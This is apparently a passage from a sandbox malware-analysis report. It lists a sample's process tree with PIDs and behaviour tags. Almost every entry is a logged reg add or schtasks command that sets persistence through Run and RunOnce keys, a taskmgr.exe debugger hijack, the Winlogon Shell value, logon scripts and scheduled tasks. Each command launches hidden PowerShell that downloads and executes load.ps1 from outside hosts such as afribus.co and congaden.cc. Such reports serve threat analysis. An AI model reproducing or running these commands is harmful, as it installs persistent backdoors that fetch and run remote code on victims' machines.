    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3212
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
  2⤵
  PID:7108
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:7032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
  2⤵
  PID:7068
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2028
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
  2⤵
  PID:3884
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:6468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
  2⤵
  PID:6184
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:5576
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
  2⤵
  PID:6160
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:7280
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
  2⤵
  PID:4048
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5708
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3568
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:7424
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6264
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
  2⤵
  PID:6656
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
    3⤵
    PID:7572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:4872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc onlogon /f
    3⤵
    PID:7696
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:6596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7704
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6200
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:7348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:7016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
  2⤵
  PID:4824
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:7804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
  2⤵
  PID:6608
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:7832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:7240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7792
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:7372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  PID:1028
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6860
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  PID:7708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:4712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7840
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  PID:7792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:7504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7892
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:8096
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:7256
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  PID:6852
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6380
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6516
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:8076
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:6392
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  PID:1596
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
  2⤵
  PID:6364
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:6360
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:4712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:7376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    PID:8184
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
  2⤵
  PID:7872
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
  2⤵
  PID:3212
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3340
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
  2⤵
  PID:6352
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
  2⤵
  PID:7492
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6172
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:8060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
  2⤵
  PID:7756
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:7100
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /sc onlogon /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7812
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:132
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:8164
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7384
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
  2⤵
  PID:6416
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
